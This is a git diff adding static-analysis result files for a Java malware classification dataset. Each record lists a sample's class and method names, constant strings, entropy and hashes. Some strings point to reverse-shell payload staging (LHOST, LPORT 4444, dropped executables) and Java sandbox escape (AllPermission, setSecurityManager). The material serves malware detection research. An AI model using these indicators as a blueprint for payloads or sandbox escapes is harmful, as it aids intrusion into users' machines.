"method_names": ["", "", "iGEIEbK"], "minor_version": 0, "const_pool_count": 337}}, "_id": "b5facfb3-0117-4e94-9251-dad38a91d84e", "metadata": {"mimetype": "application/x-java-applet", "sha1": "ebb261457d76481f4c66eeb9dbb9e1e719d8fb2e", "file_name": "java_malicious/742d0bac82cb3926debb23e103ebbfcc68b3cf4348fb177d50f49fc6fe9a9919", "_id": "b5facfb3-0117-4e94-9251-dad38a91d84e", "score": 0, "entropy": 4.919552686179689, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4885, "ssdeep": "48:8t15F1PHr7AvmFwf9TyFlmg0AmqS8gU0s0wFQtXoWn1tXYGH1t8yOkB:IFNkmk9+FlmAmaP0wF4YW1tnH8yD", "sha256": "742d0bac82cb3926debb23e103ebbfcc68b3cf4348fb177d50f49fc6fe9a9919", "md5": "df85195ac6c8bfaa165f2df2ff269e4d", "parent_sha256": "742d0bac82cb3926debb23e103ebbfcc68b3cf4348fb177d50f49fc6fe9a9919"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7444652ddd356d54226c55bc4250a2980dedae5f9245e73422a898faa50050a1.results b/java_classification/data/malicious/7444652ddd356d54226c55bc4250a2980dedae5f9245e73422a898faa50050a1.results new file mode 100755 index 0000000..47bdec9 --- /dev/null +++ b/java_classification/data/malicious/7444652ddd356d54226c55bc4250a2980dedae5f9245e73422a898faa50050a1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "lNLcDzcEJN/MpAGour", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "e3edd2bc-532e-439b-8043-cbf505c867a5", "verbose": {"java": {"constant strings": ["lNLcDzcEJN.MpAGour", ".class", "/lNLcDzcEJN.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "lNLcDzcEJN.dat", "URL", "", "https:", "lNLcDzcEJN/MpAGourTrustManager.class", "MpAGourTrustManager.class", "AESPassword", "lNLcDzcEJN/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "lNLcDzcEJN.MpAGourTrustManager", "useFor", "java.net.URLConnection", "lNLcDzcEJN.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "MpAGour -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "777eceee6cae904d67d774ac07e1de2f0f0ffc9b", "file_name": "java_malicious/7444652ddd356d54226c55bc4250a2980dedae5f9245e73422a898faa50050a1", "_id": "e3edd2bc-532e-439b-8043-cbf505c867a5", "score": 0, "entropy": 6.1489261006515825, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM+DUB/Y+WfSaThmcuxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrB:gmO1tGgmatmvyNvpvUrKYvCkgHzbDrDF", "sha256": "7444652ddd356d54226c55bc4250a2980dedae5f9245e73422a898faa50050a1", "md5": "22404aea9c792a256b340aee8082adf3", "parent_sha256": "7444652ddd356d54226c55bc4250a2980dedae5f9245e73422a898faa50050a1"}} \ No newline at end of file diff --git a/java_classification/data/malicious/75a8cff7f3c8df96f7401513e34f8bcebf1d3732d69d94528841e86bfa259ba9.results b/java_classification/data/malicious/75a8cff7f3c8df96f7401513e34f8bcebf1d3732d69d94528841e86bfa259ba9.results new file mode 100755 index 0000000..39ce302 --- /dev/null +++ b/java_classification/data/malicious/75a8cff7f3c8df96f7401513e34f8bcebf1d3732d69d94528841e86bfa259ba9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SZALaE.java", "class_name": "SZALaE", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "XOZABhRVJ"], "minor_version": 0, "const_pool_count": 66}}, "_id": "e0826466-0662-4bc6-9592-5035c098bd79", "verbose": {"java": {"constant strings": ["(\\x12", "ggg\\x14iti", "e", ",1,*<=,", ""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "240f01e76731c31d15143a4f63938220eb37b780", "file_name": "java_malicious/75a8cff7f3c8df96f7401513e34f8bcebf1d3732d69d94528841e86bfa259ba9", "_id": "e0826466-0662-4bc6-9592-5035c098bd79", "score": 0, "entropy": 5.879607595011531, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1593, "ssdeep": "24:RTKGxyQulGlT7dHf7Jy0pC+g/dlluN45v+H93sTl7a9bpbczA:5dxyFlEBHfV/UON4s3sQ2U", "sha256": "75a8cff7f3c8df96f7401513e34f8bcebf1d3732d69d94528841e86bfa259ba9", "md5": "2e33bac27f55ed55d121479e3acfec5e", "parent_sha256": "75a8cff7f3c8df96f7401513e34f8bcebf1d3732d69d94528841e86bfa259ba9"}} \ No newline at end of file diff --git a/java_classification/data/malicious/75f809ea97b9afbb4286a43429d3bee0299c6511066094c54077323cf4dbccab.results b/java_classification/data/malicious/75f809ea97b9afbb4286a43429d3bee0299c6511066094c54077323cf4dbccab.results new file mode 100755 index 0000000..a006de1 --- /dev/null +++ b/java_classification/data/malicious/75f809ea97b9afbb4286a43429d3bee0299c6511066094c54077323cf4dbccab.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Lishai.java", "class_name": "Lishai", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "Nvbus", "Eppa"], "minor_version": 0, "const_pool_count": 172}}, "_id": "f63ad6db-e515-4cff-b7bb-fabfa093abcd", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.3729618358607505, "obfuscated_data": {"signatures": {"java": "rot0"}}}, "constant strings": ["java.io.BytWeArWrayOWutputStWreWam", "close", "java.security.Al", "lPermission", "add", "java.security.Permission", "java.security.Code", "Source", "jaDva.seDcuDrity.DPeDrmiDssDionCoDllecDtioDn", "D", "", "java.security.Protect", "ionDomain"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9526d424416ab420afc93883d65931653bb851ed", "file_name": "java_malicious/75f809ea97b9afbb4286a43429d3bee0299c6511066094c54077323cf4dbccab", "_id": "f63ad6db-e515-4cff-b7bb-fabfa093abcd", "score": 0, "entropy": 5.6449300674990415, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2706, "ssdeep": "48:RAY88OrQSyFlwIf9c4X5sRJ+/F3d57Pkep1pNVvgkFG2w3JY4UpnTcS+cV:RP8IFlwkTXRFhl4YV", "sha256": "75f809ea97b9afbb4286a43429d3bee0299c6511066094c54077323cf4dbccab", "md5": "5332c17c0fcf6a7554729a2e0dbe03cd", "parent_sha256": "75f809ea97b9afbb4286a43429d3bee0299c6511066094c54077323cf4dbccab"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7664323f50d75bcc27d1edd31186e343267cf5795347fcfda5d0429672f4e652.results b/java_classification/data/malicious/7664323f50d75bcc27d1edd31186e343267cf5795347fcfda5d0429672f4e652.results new file mode 100755 index 0000000..49b4c7a --- /dev/null +++ b/java_classification/data/malicious/7664323f50d75bcc27d1edd31186e343267cf5795347fcfda5d0429672f4e652.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/tkggqyguydz", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["npgfregpcmrwynx", "gvjpqixsljajqkuc", "jymrarubtmnvdkfged", "", "gixjfirtwidjvfle", "dwdeytakugzkrdkikw", "hammudettpbhrckron", "sjdzneadzukrdpqahtm", "ujynqxyggavfdyhxir", "ssjjvtucsuuighj", "pektnvupcfyctiii", "wlpanqakvjyudblnip", "agtkinzivjvmtxnzpnk", "duiujpnrtdrcupvmujx", "rqkhbynadh", "upfmbwvkxlrvmif", "biiyhsrqtxuwlmejsd", "vrwnuwqxbbkuhocp", "tklbzotvapxoszs", "zbnkqfvmroubpsw", "himrdoszsjweikaufkw", "odohxpnexfoxqmiux", "brcgxtrthmvdmqct", "elahklrmwcqhpst", "sbmlztezyoyowisgvgr", "ydddbhhdd", "bziobbttywfknlc", "hkajohuajcdkrayodv", "msqgyomnnqibegvi", "qbmjwtxtaurzfema", "qfpdywclxvuzhxsnc", "eznjzdlcrlidcslsr", "fhlazwwjtmmaquwuvpe", "llogpyzefchwiuryx", "dyllznmlkavqfbdugi", "zckufxrvsiggzldmpu", "rxnmhgiwmtochodjnzc", "fpyrwojmpovjasbkfz", "vclzkofuzbsvvjn", "mgtiwncbvefrzxrgtc", "xntokotiusrxzopllvt", "kcrkqklzxfgjjpkoxly", "ymlgkbvjcfagnlq", "incqkvdvzsjhcnhxk", "xqcvavxqjuiiuuuo", "qbvtdaxurvzqsfae", "qwxkzrzbofaifeptys", "zpncmnsmpskxwkttgfh", "iettxzgsutkluumcrt", "lodzxzourmmfpjcolbf", "zcscrwvnyorzmvzn", "pwhvznedbyfksxk", "lsxvpdthxwzfmozpfy", "nnfipiapiwxmbro", "nzxlzllltsmxrwa", "sdxcqwfzhjsipsd", "blnqkvjgaifqujy", "wtsepwpfykrqyidj", "toavpzuldztlynzzb", "qihxicwrjzsxyiay", "mwasucjzjdkhyfg", "wvhtglmmyxkqols", "vbghkcaaxjhpnjkk", "mfhaaleghzklwqdj", "jsddchlftdqzkam", "ckmzucbwpyruhbvg", "yvhbijhuffuarjasboa"], "minor_version": 0, "const_pool_count": 1111}}, "_id": "1e18d510-8c28-46ad-be29-a61f4dfa2fb0", "verbose": {"java": {"constant strings": ["jhtgucbsaknngnouxjyludr", "hghams", "tyminnkqjgidecmqzfrger", "g", "wacvpcpsplkqfrbvaqyhjguxd", "", "apgsbspgfqwwurx", "xzgoddbhjitpohkvvybldbsjqozy", "wrrchdqniebztm", "iymcyenckzqflg", "ilqzyra", "cjismppjjzkrmmpuzfoycex", "qqfjhwysfzatzykkothqjumc", "pok", "jjuinaqoemymkzpx", "gcl", "y", "ilgustuxwaf", "jtyuafhoqcbmtawvmxxzzcnzy", "nao", "oamfzndtpeissclgnmvhaq", "xktrloqnmcnmdzo", "onkthmvmnpozdhjkgsmaa", "rfof", "qhpeufvevxvrqnqf", "myukd", "kfsymsc", "nrlnjlrrxytjyezvrylymega", "lzdpqekxxhjcwkxgpdlbcpm", "tvvfhqjhdltxqa", "genuhmdsxgct", "wjegaf", "sioxnroixquntiarsmos", "jvdepkkxopkvodxfhgykq", "rvxxsps", "acfpbbsulmbxnuvmebryo", "khwvkvxouovamlbwn", "ogeykzslglphef", "mvohrcacbk", "ijznosiidmvnvzpyrhhivzsmnw", "uvppoc", "ggfxumgukcmrmvdrrnm", "ymbhhuypcbmootufpxwmezbhpz", "rcdyjzghyrowupw", "eofeotagxoiwkzobqj", "kybbfixgfbruphkq", "lrepfgvptpzybxavavieitgdjebxt", "tjxrgylfehdstlunhdedlgz", "pzqetraiq", "zzdpbnyjnxfgrgov", "jv", "rrqxsxdtkurectxgzjajag", "woqzbyuaqc", "muqzzqfajcaifzhzkmnxh", "c", "tgkzizicismvhodsfxxmcspudzda", "fweynucydlrvfxdzhajbng", "qpfay", "iiwm", "tr", "wffupbgpoenfnlxfeyjqcxdpgjhqqt", "exwkswhjzstiajkyawskxsv", "qemfzpkcgquqlsktj", "dqiee", "nc", "xafjlz", "lgsssksnre", "bqzksw", "opyusiuplpnlvcsehxxqtrpbqasol", "phaomixlrkogzdqecqfzbuft", "appkessjmif", "cxczzukpajjsng", "hycpbxhiraterbxbenxqahzivny", "ziqbylmhlkxepcwrqtkjyp", "ebqdwqjnkbmhecmlxmculyqexmq", "djogvgdlntbsdgigt", "gcbkiohczrzaj", "fuyxgfiqqksvwcog", "dxpdyajafcjf", "doxfrtbu", "tppleznxavdagghtq", "kpxeseymcgi", "xhi", "onxmrhwesmalktngownkapudebf", "tlvagxdnbyvrbiwb", "eaurwzjzn", "riuziffvibgkfnijpcujr", "ggwpkqefpxemjlyryifjc", "aeydrezlxmwnpckregrkhosmqlyyp", "i", "llxokbxf", "dfmqtmgj", "zsrlvhxyivzgjkvom", "gfgpecycnlrygjhhdocrsagpxrqmuw", "bogqtktjzaappzakt", "tlvicmcgcnuxclvr", "zsxyjftqkgp", "qcsitpdxulgllfzorrxgplytr", "tbcyzqla", "kvinmqcjuksqoiv", "wpvbz", "yhbizvyab", "wq", "jvrdoqqxyyqrxmclcsnkawpiencg", "fesjcbdklhhgczjooytorafz", "ojtvyzopbgr", "udr", "tfntwxkxjyr", "qoknsdkljclrvyfopqrqrfjuyclfnf", "xszhspqgzdvhlkradhgzilsikme", "gaqw", "chcovwomgkoroojxzorfk", "phgglqcrwerkum", "rjuqlyepmrxatnmwar", "ajfhqfguhrumnyon", "hncimdpuovpjwvvelhfyfdw", "vawltqawvsish", "ikhfqgvpcmjesrmsepinjkpgvonp", "clsqzybvgsdfhuqisktoos", "flbbqcgwwlynzjcmqfjwu", "aydazise", "dnz", "velyvfxzshkgmlfwbcdzqdsjyfb", "btpcz", "qbasmjjkchdeehtonqjxf", "ynfvxkpyqnvwzsmewnxgguy", "gnzlwel", "itkyhku", "dzkbyrbcxsukvlecy", "okgadgbogottltxokfvbpm", "tjrqvcs", "ffvsfskffigabvixpvusvve", "eoitotlvfrnqgvfqv", "txkrzyziqkavq", "swbuxlrvfjheujiecjcyrjjkidjul", "spanesrxku", "eyqeuzfqbcquuwcyui", "hzkpsiruojjr", "fjcfnorb", "rxwqubmtuivno", "kseylpehmzzizutfz", "taohgfhtuzjp", "vksj", "asjbaxoaghllhorzxcnguqi", "hrrgnydgjpmsormlpldrkeruehjwr", "zzueorsyksvurepl", "pxxzr", "naqncpxgwwolezcrnzpjpnkeooxf", "nzrjnmvksyoiuperfekmtl", "pixnxhcegeuhcruyfkpeaqmakmvrqj", "upiuleoacgdflagttycnrkjd", "wyydyaonlicaxuvbdbmjeqs", "vvdft", "hsvztmipbiabatsslethmnsceza", "ywwhemnjjgeltvsvsmahvoxqfs", "wyxh", "euoyplovb", "qrojxrwimn", "umbnwshnwbelveurfst", "rtivfynnxpkerihkydjhamgymptx", "lutmgiikbzenyofj", "nrnguwgknktpwfnrlsejggwwehwyt", "eybdzl", "bbiqfxqznfobwe", "yshnfesiqykatwjt", "rqxrl", "xhauyxzjcjggpgdihg", "wo", "kfsbtoliet", "tpeijfksyqbgusvrhyixs", "fsoxvvzfggecg", "rftecxr", "ldntgcogicqpgpciuxjlwiui", "tbqrihwqngsg", "yddo", "xaybqmq", "rqhzfzhtgysmnsoihqblfghnasmlm", "dtfoecsegholvfhp", "rngvawrg", "iuuyyasdl", "w", "zrehkbzgkwaudlhogqsgybvd", "uchcjhgjyealsfjkcrpkwetvw", "vmjraddbpnzauczp", "llxyvugyavshtrizeqreruytiy", "tnxrlcbomkcenclmheuaqvqztv", "khkycpkb", "nxxrhfbrvndapdh", "hcsyvzcyjygisfmzbmjncyegnuq", "snkwnfesxgh", "o", "nmgqlridpnggwgkcfxif", "mycirzadwghgerkcffheqx", "yaqhqdyduzhyinjgyxf", "rfqyvssrkqevgokzltgcdlmebynp", "lhtowiyrgjfeucgkayyywqim", "olnxglz", "fprfpqavqwsajbmundypwjvabux", "qeknbgwbydhzck", "mupyymjytftznpccmhqtuqggmmk", "jbcenylhnsvjitf", "qnoudyddqbss", "og", "dtjsxpvqib", "vozbamn", "wyjs", "hokwrmrelhgxguahbramxamjdwxzz", "ugesphgf", "iezx", "oonqgfeltpwlevxul", "tmvdu", "wvdfjqiqsj", "yajusvktlhbecauswptuokzfa", "agswytst", "qnuygbxrmvp", "dlqtwhmslcjrrehsmkjllaviukm", "cdl", "lhxkayasigvgdgbwjknhfzzx", "qxbwiraczim", "szcizvmrmreqpzbecrfktffld", "ydgtlzefpuyyxugvwxtqxvryh", "vyciusahsmg", "zgess", "fzyrqavjhlhrlrzctsrndaxjv", "mnspncnmcshcvqcuciciy", "nmnwcxiekzugfgcjqy", "kepwv", "tylcjsgoryinunaxv", "odgsoprggeygnqzh", "bmmctwebqatlxeykeogtsrigtj", "ngehdsntvxlrulyoeunhvgpsfbddco", "xffweshmtzalufzphwqoicbs", "qvtbonabcxm", "xfcyvzknzzufu", "bonlfuvwp", "zraaelgoqkjvedobolocpfyscpzf", "thpquwdhv", "ueodbpxbccevginywhamymemgnvgv", "gpjuktzdadxxrowmnfz", "uzavgiikxisapjdlgqjpgb", "ej", "kthqafjiue", "te", "oplfeddasncqdyovmrqisqb", "uhhcxysflnnovqc", "fdwqynvlfm", "tbteeuqxknfndopa", "ztpzqqnpe", "zj", "nhlnbancuatoyllheo", "jowcdjlaglhzcjha", "jirufacswnzuhbgpavl", "okvsyavheegehkuual", "mxzkgpwuvzfkqhomenjahwmcc", "ujrkuqdpe", "isdnv", "satepplduwo", "wuhwrkubqwt", "jljgptavxvwzujfxsvhr", "ccubffnidiudqyf", "dbzztwkdsxyeacvqvpyarkzbqn", "gntj", "dgrbj", "vvzopunbw", "rbzapnbcsfsbrrewlf", "hxtumhjzmhwjzcczxh", "fmfyqfugrjfuj", "owgvoudjqknmdphirra", "osbxzzbckzbasxxhckekqsfov", "vwymtecaczojrmvwkconadbe", "ra", "zshuixytn", "xsgdnpbozskxuspvewrfwiqvjwr", "hgonbyrsracmxotyibrtpzhsfjzz", "khqzpwzbwgsjfw", "wletwktdnlpsdazprxslel", "itn", "yvwyrfjkih", "mzsapibgrmjir", "ogbggpmbinayghvsntpnnq", "qsmwq", "dvugdhuehpdcrrfjhsnpmuvjuqzw", "fglyhboayqphctrkxrqzdnqfhndfrn", "yxnfbf", "acgyfmskymnksrlqryrkckw", "iitl", "nndmbbntxkcsqrwtlgnrizgukpmnyy", "ea", "uqsplxpuasfsxgksqhajcfdtzzp", "gbblqxmh", "tltqwnlcqgsssbcumvnduikugakool", "rcscmkyy", "rnk", "ghqnxyqlktlbvd", "retrdtskitveudxvpgryon", "slsobvxuqddzeywzxpvmt", "xlsfmpgwxeybiep", "xpawpmspiinvkccqyiyatdy", "qcqm", "annaeeitecsriq", "hmiciyhveqbymjtorxvb", "jqrabaylpthlmwqdx", "rsethklezcsblsnaczyt", "mbyzbzzowtaooeplyzkriszbsopju", "r", "uwokdvlvgyrgcxrxewunuf", "cxjwmfddvrxoha", "sgds", "axysvpkicfazq", "hnebquxlwuxtqqvfwqrhvreyfeutk", "cxotzcgqfjmpuxmpqjxdzqm", "amcfmevjgncwjkurgylljgch", "wxlzowcpyjvbldjsiwfw", "cd", "bemoqyrwta", "p", "wkkqbltyyecfnrxbnkaxtpepdio", "eefdmsxqwbm", "yxsomaypm", "ughu", "uqnbyjlhbuwbfvgkqbdcfe", "hletfuud", "ewlioalctqxyk", "ymdoqxlfgprudovfzlimronjwmztt", "cltqawbrc", "ehwwtqwdxeuetkpxzzg", "uqhffddxqfzsklefkbxrysjboadw", "skvkksmv", "sxxwkgipxmjdbizznoxxlxgcohvaeb", "ajkxddlbspzlf", "kspkezrijvsu", "tdvlqinnuyunmvylbwgeowlumveygm", "pmbvk", "jeobtgeqjztwyfaw", "vvzkbepzur", "fdlrtbcrbxnqwipmx", "kh", "dtctfwcazkdz", "hrhllixjmewshxrnvmifzsdynt", "lgsymjjabujvwyhcasogiikdj", "ktvihrbhdigsx", "fnaflfnziapugb", "vyzhmgludgfobmgifnyqq", "uhzgssbtowtuxbhxecbfhsek", "grueibcrqbbxvqiwesewkm", "wlwinamkmwvrmllxiyplfdnlo", "flvr", "sxjlauwtwzgrodl", "ueetpvdprml", "zx", "ptmxonffrqwibrsogodujxse", "rs", "heobbjqaxmxk", "qdpancym", "cewcqdreoml", "mqohew", "iflndzjcblvdrftgyfuvfmpmbbzqx", "sykx", "lccxyeycpfqnlelajmrzrdqxyh", "xficsxtvc", "f", "jfryagipjbjex", "fmduzy", "whhauqrxiddglkoratjuintygfxpid", "tomtfpfatyndjdcayhmtmbybco", "bnlbitsidigetmyzegjm", "dimepqwmlvaeihtb", "mjjkjuassowgmqfqlpupivdm"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "418527ffdfe4724d032081d603d4ba508f6f5697", "file_name": "java_malicious/7664323f50d75bcc27d1edd31186e343267cf5795347fcfda5d0429672f4e652", "_id": "1e18d510-8c28-46ad-be29-a61f4dfa2fb0", "score": 0, "entropy": 5.685847890164128, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 23460, "ssdeep": "384:Zy11RQCGnD2lIgcN43iFrlajRGnZdErv0zwrvl9UJuKFdTQ:ZoaCAD2sCiF2YnZmrv0zwvUIKvE", "sha256": "7664323f50d75bcc27d1edd31186e343267cf5795347fcfda5d0429672f4e652", "md5": "8c01a134a1dfa034b8193bf337b56aba", "parent_sha256": "7664323f50d75bcc27d1edd31186e343267cf5795347fcfda5d0429672f4e652"}} \ No newline at end of file diff --git a/java_classification/data/malicious/76721e44d06640b1cebd2edd331da53a4c7790b15dae798153d5a382f9a4e384.results b/java_classification/data/malicious/76721e44d06640b1cebd2edd331da53a4c7790b15dae798153d5a382f9a4e384.results new file mode 100755 index 0000000..9219f6c --- /dev/null +++ b/java_classification/data/malicious/76721e44d06640b1cebd2edd331da53a4c7790b15dae798153d5a382f9a4e384.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Zek2.java", "class_name": "like/Zek2", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "filipinon"], "minor_version": 0, "const_pool_count": 70}}, "_id": "91681437-39cb-4497-aeb2-f8a0a97a57ee", "verbose": {"java": {"constant strings": ["indinwoeghowifjeolwmfeowjeoiwjefoiwjefoijwefoijwoefij"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0c1fee6246d3d65edbe0433c9f5bec5a8ab6a716", "file_name": "java_malicious/76721e44d06640b1cebd2edd331da53a4c7790b15dae798153d5a382f9a4e384", "_id": "91681437-39cb-4497-aeb2-f8a0a97a57ee", "score": 0, "entropy": 5.430365411927377, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1447, "ssdeep": "24:k/Ay8kAlj4m+3Liwgk72TJ8Y6wqmiH8zZNh06rv5rPtuuzoSL:MAy8kAlB+bV21iT0hf5AOoSL", "sha256": "76721e44d06640b1cebd2edd331da53a4c7790b15dae798153d5a382f9a4e384", "md5": "d700c8747dbf4879ca5bf4abe93aeebe", "parent_sha256": "76721e44d06640b1cebd2edd331da53a4c7790b15dae798153d5a382f9a4e384"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7692a255afdc4ef53c3d172b6995172dabb5c4c1c40e00bbe5d455c285afcf93.results b/java_classification/data/malicious/7692a255afdc4ef53c3d172b6995172dabb5c4c1c40e00bbe5d455c285afcf93.results new file mode 100755 index 0000000..6e8913f --- /dev/null +++ b/java_classification/data/malicious/7692a255afdc4ef53c3d172b6995172dabb5c4c1c40e00bbe5d455c285afcf93.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "MyJApplet", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "a", "b", "a", "a", "a", "a", "a", "a", "a", "a", "b"], "minor_version": 0, "const_pool_count": 573}}, "_id": "9e37fb6a-55ed-40a2-ae87-a84ee83fc9de", "verbose": {"java": {"constant strings": ["", "\\n", "\\n\\t", "\\nCaused by: ", "/Applications/Calculator.app/Contents/MacOS/Calculator", "5.1", "64", "===== End =====", "===== Start =====", "Arial", "Attempt #", "Error: ", "Mac", "Na", "Nimbus", "Run calculator", "URL: ", "UTF-8", "Windows Vista or higher", "Windows XP", "\\\\AppData\\\\Local\\\\Temp\\\\javainst.exe", "\\\\Local Settings\\\\Temp\\\\javainst.exe", "] = 0x", "a.length = 0x", "a[", "add", "calc.exe", "error 1", "f", "java.security.AllPermission", "java.security.Permission", "java.security.Permissions", "me", "null", "or", "os.arch", "os.name", "os.version", "setSecurityManager", "user.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "32e38d00b355857f96860d7e602c91df3242a50f", "file_name": "java_malicious/7692a255afdc4ef53c3d172b6995172dabb5c4c1c40e00bbe5d455c285afcf93", "_id": "9e37fb6a-55ed-40a2-ae87-a84ee83fc9de", "score": 0, "entropy": 6.036237674655205, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 9914, "ssdeep": "192:HNcbWAumZaCKvZg5+m8/riVxbOnRH3nWcE+kXxJr:Hm5gX2Em4ryY3nWTvJr", "sha256": "7692a255afdc4ef53c3d172b6995172dabb5c4c1c40e00bbe5d455c285afcf93", "md5": "ef226467dd132b1f5dca5eb6eabd1366", "parent_sha256": "7692a255afdc4ef53c3d172b6995172dabb5c4c1c40e00bbe5d455c285afcf93"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7775c20d3c14edd5b9999cca9de418ce959045e7aa46096116604a1885c8201c.results b/java_classification/data/malicious/7775c20d3c14edd5b9999cca9de418ce959045e7aa46096116604a1885c8201c.results new file mode 100755 index 0000000..d90cfa7 --- /dev/null +++ b/java_classification/data/malicious/7775c20d3c14edd5b9999cca9de418ce959045e7aa46096116604a1885c8201c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "adzaas", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "init", "pip", "tup", "ate", "oil", "sos", "sod", "mod", "odd", "lop"], "minor_version": 0, "const_pool_count": 238}}, "_id": "bcab24e0-5a48-4135-b962-078256334ee3", "verbose": {"java": {"constant strings": ["bin", "@", "stnb3t2tStnb3t2curityManagtnb3t2r", "tnb3t2", "e", "crtnb3t2attnb3t2Writabltnb3t2Rasttnb3t2r", "Raster", "javatnb3t2awttnb3t2imagetnb3t2", ".", "", "java.security.", "fib3vt2t1le:/b3vt2t1//", "b3vt2t1", "Permissions", "ons", "on", "Perm", "AllPerm", "java.security.ProtectionDomain", "add"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2475ae8c48943180902c2335027f9c1523dfe4ee", "file_name": "java_malicious/7775c20d3c14edd5b9999cca9de418ce959045e7aa46096116604a1885c8201c", "_id": "bcab24e0-5a48-4135-b962-078256334ee3", "score": 0, "entropy": 5.716604206033277, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4196, "ssdeep": "48:4ukgw0nKyK6FXs0VtIef+KFjSz7bMP+cSsXNj2UEx26MCtrTGI85r8m7au:tDKaRIef+OjCoXN81MCtZ85r/7au", "sha256": "7775c20d3c14edd5b9999cca9de418ce959045e7aa46096116604a1885c8201c", "md5": "ec7039fea9777ec573a41e02da5d1389", "parent_sha256": "7775c20d3c14edd5b9999cca9de418ce959045e7aa46096116604a1885c8201c"}} \ No newline at end of file diff --git a/java_classification/data/malicious/77d0059b9192806de03cc266122f8e5f428ada5b3e9d16bdc807b2423da1425e.results b/java_classification/data/malicious/77d0059b9192806de03cc266122f8e5f428ada5b3e9d16bdc807b2423da1425e.results new file mode 100755 index 0000000..22c6ed5 --- /dev/null +++ b/java_classification/data/malicious/77d0059b9192806de03cc266122f8e5f428ada5b3e9d16bdc807b2423da1425e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Serii.java", "class_name": "Serii", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "fhrt", "Ogvjh", "Pvjfg"], "minor_version": 0, "const_pool_count": 125}}, "_id": "1467aaea-ff20-4b0e-9691-d322db5d2687", "verbose": {"java": {"constant strings": ["clo", "se", "write", "java", ".io.tm", "p", "dir"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "75ff6feeb675c3ab290daa9daac1f255293ff8c0", "file_name": "java_malicious/77d0059b9192806de03cc266122f8e5f428ada5b3e9d16bdc807b2423da1425e", "_id": "1467aaea-ff20-4b0e-9691-d322db5d2687", "score": 0, "entropy": 5.445502854878868, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2021, "ssdeep": "48:aMdayFloPQdElBM9gS2UeO8L+0H8F/4OMYd:aMBFlom0+tFAODd", "sha256": "77d0059b9192806de03cc266122f8e5f428ada5b3e9d16bdc807b2423da1425e", "md5": "075ccd93d185b812ab0fe0b457caa637", "parent_sha256": "77d0059b9192806de03cc266122f8e5f428ada5b3e9d16bdc807b2423da1425e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/77e985565711379ac8c4dd7daf88b443b98374946f151b1827e1b8cfb5e3ea7e.results b/java_classification/data/malicious/77e985565711379ac8c4dd7daf88b443b98374946f151b1827e1b8cfb5e3ea7e.results new file mode 100755 index 0000000..e0f124a --- /dev/null +++ b/java_classification/data/malicious/77e985565711379ac8c4dd7daf88b443b98374946f151b1827e1b8cfb5e3ea7e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/copyzr", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "urgqpfs", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "40fd9f44-5d43-47ae-9430-86be1016c98f", "metadata": {"mimetype": "application/x-java-applet", "sha1": "6dd5e5c79dd327e75b35ce4afa90f5737f6342de", "file_name": "java_malicious/77e985565711379ac8c4dd7daf88b443b98374946f151b1827e1b8cfb5e3ea7e", "_id": "40fd9f44-5d43-47ae-9430-86be1016c98f", "score": 0, "entropy": 5.195910264903805, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 